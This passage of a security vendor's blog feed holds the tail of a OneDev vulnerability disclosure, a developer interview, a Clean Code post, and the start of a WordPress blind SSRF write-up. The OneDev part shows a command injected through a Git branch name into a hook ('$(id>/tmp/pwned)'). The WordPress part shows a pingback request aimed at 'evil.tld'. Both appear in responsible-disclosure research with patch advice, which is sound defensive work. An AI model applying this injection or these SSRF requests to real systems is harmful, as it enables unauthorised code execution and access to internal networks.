name.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Putting it all together, the attacker would create and push such a branch and then use &lt;code&gt;GIT_DIR&lt;/code&gt; and &lt;code&gt;GIT_TRACE_SETUP&lt;/code&gt; to append to a Git hook. This is what such a hook script will look like afterward:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;[...]
exit $returnCode15:50:06.391600 trace.c:311             setup: git_dir: .git/refs/heads/$(id&gt;/tmp/pwned)/../../../../../
15:50:06.393284 trace.c:312             setup: git_common_dir: .git/refs/heads/$(id&gt;/tmp/pwned)/../../../../../
15:50:06.393318 trace.c:313             setup: worktree: /private/tmp/git-trace
15:50:06.393336 trace.c:314             setup: cwd: /private/tmp/git-trace
15:50:06.393352 trace.c:315             setup: prefix: (null)&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Container Escape (CVE-2022-39206)&lt;/h3&gt;&lt;p&gt;OneDev recommends starting the server with access to a Docker socket to enable its Docker-based CI/CD pipelines. If the OneDev server is hosted in a Docker container itself, this is recommended to be done by mounting the host&amp;#x27;s Docker socket into the OneDev container.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is dangerous because it allows breaking out of the container and executing commands as root on the host system unless Docker runs in rootless mode. OneDev also mounts the host&amp;#x27;s Docker socket into certain CI/CD pipeline containers, making it even possible for users with the appropriate permissions to perform a Docker escape by simply defining a malicious CI configuration.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The following summarizes the whole exploit chain:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/955908a1-e6eb-452f-a387-09a5a87552c8/body-f773fe17-0020-4f67-8f2f-cb673437b944_OneDev-exploit-diagram.png&quot; /&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;The SSRF vulnerability has not been fixed because the OneDev team expects the environment that OneDev can be deployed in to have a big variety with no common denominator. According to them, it is impossible to have a one-fits-all blocklist for webhook URLs, so they did not implement one.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We think it would be a good middle ground to have an admin setting that can control such a blocklist and give it a default value that blocks requests to all local and private IP ranges. If you have code in your own code base that makes requests based on user-controlled values, make sure to properly validate each request. The most important thing here is to validate the protocol, hostname, and port. Modifying them can allow attackers to talk to internal services that are otherwise not exposed. Such services are usually less secured and attackers could make requests to them in order to hijack them. Keep in mind that the validation has to be done at the right moment to be effective, as explained in &lt;a href=&quot;https://blog.sonarsource.com/wordpress-core-unauthenticated-blind-ssrf/&quot;&gt;our recent blog post about a similar issue in WordPress&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Access Control Bypass&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;For the Access Control Bypass vulnerability, the maintainers introduced a new system of authentication tokens that have to be sent with each request and are validated before any actions are performed. This is a very solid solution because even SSRF vulnerabilities can&amp;#x27;t be used to trigger the endpoint as the attacker would have to know a valid token first.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As a rule of thumb, never blindly trust HTTP headers like &lt;code&gt;X-Forwarded-For&lt;/code&gt;, unless you made really sure that they cannot be set by an attacker. A good recommendation is to make trusting these headers opt-in instead of opt-out, reducing the likelihood of accidentally trusting them.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Container Escape&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;The Container Escape vulnerability was only possible because the host&amp;#x27;s Docker socket was exposed in environments where users with low privileges could use it. This is an unsafe pattern and should be avoided. Make sure that only trusted users (e.g. admins) can access the socket and that all parameters that are included in requests to it are properly validated. There are also third-party proxies, such as &lt;a href=&quot;https://github.com/Tecnativa/docker-socket-proxy&quot;&gt;docker-socket-proxy&lt;/a&gt;, that can restrict the Docker interface to a safer subset of possible requests.&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-30&lt;/td&gt;&lt;td&gt;We report all issues to the OneDev maintainers&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-30&lt;/td&gt;&lt;td&gt;The OneDev maintainers confirm the issues&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-05-31&lt;/td&gt;&lt;td&gt;The OneDev maintainers fix the issues (except the SSRF), release a new version (7.3.0) and rebuild the code.onedev.io instance from scratch to ensure that it is not backdoored&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-09-13&lt;/td&gt;&lt;td&gt;The CVE IDs are assigned&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, we presented several high-impact vulnerabilities we found in OneDev, an open-source Git server. The issues have a critical impact but require a low-privileged user account to be exploited. While this reduces the impact for many instances, it was possible for attackers to take over the infrastructure of the OneDev itself, which could have resulted in a widespread impact for many users of the project.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We discussed the technical details of the vulnerabilities and also explained how the maintainers chose to tackle them, as well as how you can prevent such issues in your code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we want to give big kudos to the OneDev maintainers handling the disclosure of these vulnerabilities. They responded exceptionally fast and fixed the issues within a day, also rebuilding the project&amp;#x27;s infrastructure from scratch to get rid of potential backdoors that could have resulted from malicious actors abusing the issues described in this blog post.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/gocd-vulnerability-chain/&quot;&gt;Agent 008: Chaining Vulnerabilities to Compromise GoCD&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/wordpress-core-unauthenticated-blind-ssrf/&quot;&gt;WordPress Core - Unauthenticated Blind SSRF&lt;/a&gt; &lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/securing-developer-tools-argument-injection-in-vscode/&quot;&gt;Securing Developer Tools: Argument Injection in Visual Studio Code&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://blog.sonarsource.com/php-supply-chain-attack-on-composer/&quot;&gt;PHP Supply Chain Attack on Composer&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Interview with a SonarSource Developer]]></title><description><![CDATA[Curious about life as a Developer at SonarSource? Join us as we discuss changes in the world of programming, the importance of Security, and writing code with SonarCloud Backend Developer Claire Villard.]]></description><link>https://www.sonarsource.com/blog/interview-with-a-sonarsource-developer</link><guid isPermaLink="false">cce2362e-87f4-5268-b23d-e11645b3fb2f</guid><dc:creator><![CDATA[Andrew Osborne]]></dc:creator><pubDate>Thu, 15 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Programmers’ Day provides the opportunity to celebrate developers everywhere. Here at SonarSource, we value the fantastic community of programmers, coders, and developers that toil tirelessly to make a difference in our world. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As part of our Programmers’ Day celebrations, we decided to sit down with one of our SonarSource developers and learn more about what makes them tick. This year we interviewed &lt;strong&gt;Claire Villard - SonarCloud Backend Developer. &lt;/strong&gt;Here’s how the conversation unfolded.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Hi Claire, can you begin by telling us a little about yourself?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Hi, I’m Claire, and I’ve been programming for some 11 years now. I’m part of the SonarCloud team here at SonarSource, our cloud-based DevOps platform helping developers &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;deliver Clean Code&lt;/a&gt;.  I would say my favorite language is Java, probably because it’s the one I have worked with every day for the last ten years or so. I like it because it’s pretty easy to implement what you have in mind, plus it delivers a good balance between technical efficiency and readability.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;And when you write code, how do you focus? What helps you get into the zone?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;For me, that’s quite a complex thing. The most crucial factor is that there are no distractions, so I love my noise-canceling headphones. And I need complete focus. I usually find that when I start to focus on a problem, I can pull at a thread and keep pulling until I have finally solved it.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;And do you tend to work in chunks of time? &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Yes, usually when I get into the zone, it is for 1 hour at a time, sometimes a bit more, and then I take a break. Most of the time, I work from home, so when I pause, I like going outside, perhaps for a short walk. I love to feel the sun or the rain (laughs). Yeah, just outdoors, to breathe and walk - this helps me refocus and stay energized for the next focus period.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Thinking back, what are the most significant changes you have noticed during the last 11 years in programming?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;I think what has changed most is everything related to the Cloud. It arrived, and just like that, it changed how we design applications and how the world interacts with what we do. Going forward, I anticipate this will continue, with more and more distribution of architecture and services and all the related security challenges this brings.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;What do you like most about working at SonarSource?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;I really like the way we make decisions, especially the technical ones. I think most developers can relate to having a technical decision being taken by the hierarchy or another team, and perhaps in contradiction with their own opinions, not properly explained, or open for discussion.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I felt a lot of frustration at such situations in the past, but it’s something I haven’t experienced at SonarSource. Here, those impacted by a decision are included in the decision-making process and encouraged to express their opinions. It’s a great mix of transparency and knowing my voice counts, and I value that.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;I also enjoy the technical challenges I can work on as part of my role as a Backend Developer. Recently we needed to change our search engine to make it more secure, scalable, and easier to operate. It was a big challenge to minimize downtime while migrating a massive amount of data to the new infrastructure. The effort took a few months, but we succeeded through careful preparation, repeating the migration many times, managing the risks, and working with all the different teams: Site Reliability Engineers, Cloud Platform engineers, and Developers. Collective intelligence is an integral part of the SonarSource culture. We built the new infrastructure together, migrated to it together, managed the minor hiccups together, and celebrated it together too!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Overall, what I like most about working at SonarSource is that my work directly benefits the users. We build products to make life easier for developers and help them build better software. We use our own products internally, so I believe in what we do. Being a developer working on a product for developers in a company that has supported Open Source since the beginning is fulfilling for me.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;As the topic of security becomes increasingly important, how do you feel that impacts you and the solutions you develop?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;As a developer of code security software on the cloud, it is, of course, a critical topic. If I compare what I do now at SonarSource with a few years ago, I would say that now, we think “security first.” &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At the beginning of my career, security was considered afterward, as an improvement. It was delegated to the infrastructure “it is internal, it is safe, we have firewalls.” We can’t rely on that anymore; of course, it doesn’t work for a publicly available cloud platform.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now, of course, we consider the security aspect at the very earliest stages. When I start working on a new feature or any change, one of the first questions I ask myself is: “what is the appropriate level of security we need to apply to this data” that will protect both our clients and the company. And only then do we design the solution. It is a significant mindset change that we have fully embraced at SonarSource.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;The 256th day of the year - what does Programmers’ Day mean to you?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;For me, it’s an excellent opportunity to celebrate this big community and its technical and cultural diversity. This community brings so much good to our world; we must stop occasionally and recognize that.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tell us something about programmers that those unfamiliar with our community might find surprising.&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;It’s a great question. I think people outside of programming often don’t realize how much we programmers have to interact with each other and talk to each other during a typical day. The common perception is that we sit alone, coding away in isolation when it’s a team job. The Sonar solution I work on is about helping teams of developers become more efficient and aligned to a single standard of clean code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;And finally, what makes you happiest as a Programmer?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Solving problems, definitely! Even the small ones. When you encounter a challenge, and you don’t know what is happening, or why the software is doing something unexpected, then you find a solution and implement a fix; it’s excellent!  Especially if you can contact the customer and say, “Hey, I think we fixed the bug,” and they confirm and say yes, it is working now. It’s genuinely a good feeling and delivers a lot of happiness for me.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Thanks to Claire for being willing to provide some insight into her world. If you would like to learn more about SonarSource and the various solutions designed by developers for developers, &lt;a href=&quot;http://www.sonarsource.com&quot;&gt;check out our website.&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Why the Power of Clean Code is Important]]></title><description><![CDATA[Clean Code—a term you may have casually used or heard before but may not have synthesized or internalized its true essence. In this post, learn what Clean Code is and why it matters. ]]></description><link>https://www.sonarsource.com/blog/power-of-clean-code</link><guid isPermaLink="false">e6cdb790-a14d-5d00-aa46-cda06a956768</guid><dc:creator><![CDATA[Olivier Gaudin]]></dc:creator><pubDate>Fri, 09 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We relaunched our website in early 2022 and started to talk about &lt;a href=&quot;https://www.sonarsource.com/solutions/clean-code/&quot;&gt;Clean Code&lt;/a&gt;—a term you may have casually used or heard before but may not have synthesized or internalized its true essence. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We have recently discussed &lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/&quot;&gt;What Clean Code is&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this post, I will discuss why Clean Code is important and its power. &lt;/p&gt;&lt;h3&gt;The world runs on code&lt;/h3&gt;&lt;p&gt;Software is at the core of every organization and is used to operate its business. Companies realize that the DNA of their software—the source code—is what really matters. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is the most valuable asset of software. Source code not only directs how the application will behave but also how it will perform. Keeping this asset clean will prevent it from becoming a liability. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;&lt;strong&gt; Why Clean Code?&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Clean Code benefits developers and organizations and makes it easier to introduce changes to the codebase producing software that is secure, reliable, and maintainable. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Value for &lt;strong&gt;developers &lt;/strong&gt;(all maturity levels): &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Boosts development skills&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;Helps developers detect, understand, and resolve issues as they code.&lt;/li&gt;&lt;li&gt;They learn best practices and enhance their skills through their development journey, making them better developers in the process – regardless of their experience level or seniority.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Increases efficiency and productivity&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;Reduces continuous rework and long feedback cycles as developers are equipped to do a good job from the ground up. This results in greater productivity.&lt;/li&gt;&lt;li&gt;When consistent coding standards are adopted, developers become more efficient and are able to meet their delivery expectations with speed and precision. &lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Creates a great work environment&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;Enables developers to do a good job on the code they write or change. When code is clean, changes are easier to implement.&lt;/li&gt;&lt;li&gt;When less time is required to be spent on remediating someone else’s code, more time is freed up to work on innovative and interesting projects, resulting in happy developers, who continue to take great pride in their work.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Value for &lt;strong&gt;organizations&lt;/strong&gt; (of all sizes and maturity levels) &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Reduces reputational and business risk &lt;/strong&gt;&lt;ul&gt;&lt;li&gt;Ensures fewer security risks by enabling teams to proactively address issues before they reach production.&lt;/li&gt;&lt;li&gt;Significantly reduces the occurrence of unanticipated application downtimes and costs due to issues that may stem from bad code.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Lowers code-level technical debt&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;Gradually addresses the debt of the overall codebase without the need for a massive application overhaul and disruption. &lt;/li&gt;&lt;li&gt;Contained tech debt leads to the increased lifespan of the application.&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Increases software development velocity&lt;/strong&gt;&lt;ul&gt;&lt;li&gt;Clean Code standards and streamlined flows improve DevOps velocity – promoting faster time-to-market.&lt;/li&gt;&lt;li&gt;When development efficiency improves, team productivity boosts, and talent is retained as teams are able to focus on interesting projects and innovation that drive business value&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Imagine a World of Clean Code&lt;/h3&gt;&lt;p&gt;Would things be any different if your application’s source code consistently followed high standards?  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h5&gt;&lt;strong&gt;Maintenance time and costs would be drastically reduced&lt;/strong&gt;&lt;/h5&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not only that, but &lt;a href=&quot;https://www.sonarsource.com/learn/technical-debt/&quot;&gt;technical debt&lt;/a&gt; would be non-existent and the need to remediate would be absent. Making any change to the application would be so much faster. Instead of constant re-work, developers could be spending more time on innovation and solving interesting and important problems.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h5&gt;&lt;strong&gt;Developers’ work environment would be better&lt;/strong&gt;&lt;/h5&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As code follows best practices, imagine how easy and pleasant it would be to own this source. Collective code ownership would become the norm–generating emulation and collaboration between developers. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Developers spend most of their time reading and writing code, and having this code clean would mean a significant upgrade to their work environment. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h5&gt;&lt;strong&gt;Software longevity would noticeably increase&lt;/strong&gt;&lt;/h5&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A clean codebase would make it easier to introduce changes in a clear, readable and understandable way. No more tangled or rigid code and no more fear or frustration around it. The ‘soft’ attribute of code can continue to support changes in business without the need for it to be replaced (which can be costly and disruptive for organizations). &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h5&gt;&lt;strong&gt;Risks at runtime would be reduced&lt;/strong&gt;&lt;/h5&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Operational bugs as well as late security vulnerabilities would not crop up when software is ready for production. This would significantly reduce the risk surface for organizations. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Clean Code provides benefits for every stakeholder.  &lt;/p&gt;&lt;h2&gt;Concluding thoughts on Clean Code&lt;/h2&gt;&lt;p&gt;Software is eating the world. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Keeping your code clean creates a better development and operational environment for everyone. Source code is your key asset – build it clean, clean it as you code – avoid it from becoming a liability. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The Clean Code movement has begun and Sonar is leading the way.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[WordPress Core - Unauthenticated Blind SSRF]]></title><description><![CDATA[Our security researchers were surprised to discover a low-hanging code vulnerability in WordPress Core that we will discuss in this blog post.]]></description><link>https://www.sonarsource.com/blog/wordpress-core-unauthenticated-blind-ssrf</link><guid isPermaLink="false">2d9c105f-209a-54e0-816d-7378904f0170</guid><dc:creator><![CDATA[Simon Scannell and Thomas Chauchefoin]]></dc:creator><pubDate>Tue, 06 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;WordPress is the world’s most popular content management system, used by&lt;a href=&quot;https://w3techs.com/technologies/details/cm-wordpress&quot;&gt; over 40% of all websites&lt;/a&gt;. This wide adoption makes it a top target for threat actors and security researchers that get paid for reporting security issues through their public bug bounty program. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Vulnerability brokers are also very interested in acquiring unpatched vulnerabilities enabling them to take over WordPress instances, sometimes offering up to $300,000 for critical ones. As such, WordPress has a heavily reviewed code base in which researchers are not expected to find low-hanging fruits anymore. Our previous research on this target required extensive expertise and effort to uncover security issues. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This blog post describes a surprisingly simple vulnerability in WordPress’s implementation of pingbacks. While the impact of this vulnerability is low for most users in the case of WordPress, the related vulnerable code pattern is fairly interesting to document as it is also probably present in most web applications. The goal of this blog post is to educate about this pattern and to raise awareness.&lt;/p&gt;&lt;h2&gt;Disclosure&lt;/h2&gt;&lt;p&gt;This vulnerability was reported to WordPress on January 21; no fix is available yet. Please refer to the section &lt;em&gt;Patch&lt;/em&gt; to obtain guidance on potential remediations to apply to your WordPress instances. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It is the first time we have released details about an unpatched vulnerability, and this decision was not taken lightly. This issue was first reported about six years ago in January 2017 by another researcher and numerous others over the years. After our report and further investigation, we could also identify multiple public blog posts documenting the same behavior as the one we&amp;#x27;ll be covering today. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Because of its low impact as-is, its prior publication, and the need to chain it to additional vulnerabilities in third-party software, we believe this release won&amp;#x27;t endanger WordPress users and can only help them harden their instances.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;We couldn&amp;#x27;t generically identify ways to leverage this behavior to take over vulnerable instances without relying on other vulnerable services. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It could ease the exploitation of other vulnerabilities in the affected organization&amp;#x27;s internal network, for instance, using one of the recent Confluence OGNL injections, the epic remote code execution in Jenkins found by &lt;a href=&quot;https://twitter.com/orange_8361&quot;&gt;@orange_8361&lt;/a&gt;, or &lt;a href=&quot;https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/&quot;&gt;one of the other chains documented by AssetNote&lt;/a&gt;. &lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;h3&gt;Use of the vulnerable construct in the pingback feature&lt;/h3&gt;&lt;p&gt;Pingbacks are a way for blog authors to be notified and displayed when other “friend” blogs reference a given article: they are displayed alongside comments and can be freely accepted or rejected. Under the hood, blogs have to perform HTTP requests to each other to identify the presence of links. Visitors can also trigger this mechanism.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This feature has been widely criticized, as it enables attackers to perform distributed denial of service attacks by maliciously asking thousands of blogs to check for pingbacks on a single victim server. Pingbacks are still enabled by default on WordPress instances because of the importance of social and community features when it comes to personal blogging. Though, it is not expected that these requests could be sent to other internal services hosted on the same server or local network segment.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The pingback functionality is exposed on the XML-RPC API of WordPress. As a reminder, this is an API endpoint expecting XML documents in which the client can choose a function to invoke along with arguments.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One of the implemented methods is &lt;code&gt;pingback.ping&lt;/code&gt;, expecting arguments &lt;code&gt;pagelinkedfrom&lt;/code&gt; and &lt;code&gt;pagelinkedto&lt;/code&gt;: the first one is the address of the article referencing the second one. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;pagelinkedto&lt;/code&gt; has to point to an existing article of the local instance, here &lt;code&gt;http://blog.tld/?p=1&lt;/code&gt;, and &lt;code&gt;pagelinkedfrom&lt;/code&gt; to the external URL that should contain a link to &lt;code&gt;pagelinkedto&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Below is what a request to this endpoint would look like:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;POST /xmlrpc.php HTTP/1.1
Host: blog.tld
[...]
&lt;methodCall&gt;
   &lt;methodName&gt;pingback.ping&lt;/methodName&gt;
  &lt;params&gt;
    &lt;param&gt;
      &lt;value&gt;&lt;string&gt;http://evil.tld&lt;/string&gt;&lt;/value&gt;
    &lt;/param&gt;
    &lt;param&gt;
      &lt;value&gt;&lt;string&gt;http://blog.tld/?p=1&lt;/string&gt;&lt;/value&gt;
    &lt;/param&gt;
  &lt;/params&gt;
&lt;/methodCall&gt;&lt;/code&gt;&lt;/pre&gt;&lt;h3&gt;Implementation of the URL validation&lt;/h3&gt;&lt;p&gt;The WordPress Core method &lt;code&gt;wp_http_validate_url()&lt;/code&gt; runs a couple of checks on user-provided URLs to reduce the risks of abuse. For instance: &lt;/p&gt;&lt;ol&gt;&lt;li&gt;The destination can&amp;#x27;t contain a username and password;&lt;/li&gt;&lt;li&gt;The hostname must not contain the following characters: &lt;code&gt;#:?[]&lt;/code&gt;&lt;/li&gt;&lt;li&gt;The domain name should not point to a local or private IP address like 127.0.0.1, 192.168.*, etc.&lt;/li&gt;&lt;li&gt;The destination port of the URL must be either 80, 443, or 8080.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The third step may involve resolving domain names if present in the URL (e.g., &lt;code&gt;http://foo.bar.tld&lt;/code&gt;). In that case, the IP address of the remote server is obtained by parsing the URL &lt;strong&gt;[1]&lt;/strong&gt; and later resolving it &lt;strong&gt;[2]&lt;/strong&gt; before validating it to exclude non-public IP ranges:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;src/wp-includes/http.php&lt;/strong&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$parsed_url = parse_url( $url ); // [1]
// [...]
$ip = gethostbyname( $host );    // [2]
    	if ( $ip === $host ) { 
           // Error condition for gethostbyname().
        	return false;
    	}
     // IP validation happens here
}
// [...]&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The validation code looks correctly implemented, and the URL is now considered trusted. What happens next?&lt;/p&gt;&lt;h3&gt;Implementation of the HTTP client(s)&lt;/h3&gt;&lt;p&gt;Two HTTP clients can handle pingback requests after validating the URL, based on available PHP features: &lt;code&gt;Requests_Transport_cURL&lt;/code&gt; and &lt;code&gt;Requests_Transport_fsockopen&lt;/code&gt;. They are both parts of the &lt;a href=&quot;https://github.com/WordPress/Requests&quot;&gt;Requests&lt;/a&gt; library, developed independently under the WordPress umbrella. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let&amp;#x27;s have a look at the implementation of the latter. We know that it uses the PHP streams API from its name. It operates at the transport level, and the client has to craft the HTTP request manually. The URL is parsed again using &lt;code&gt;parse_url()&lt;/code&gt;, and then its &lt;em&gt;host&lt;/em&gt; part is used to create a destination compatible with the PHP streams API (e.g., 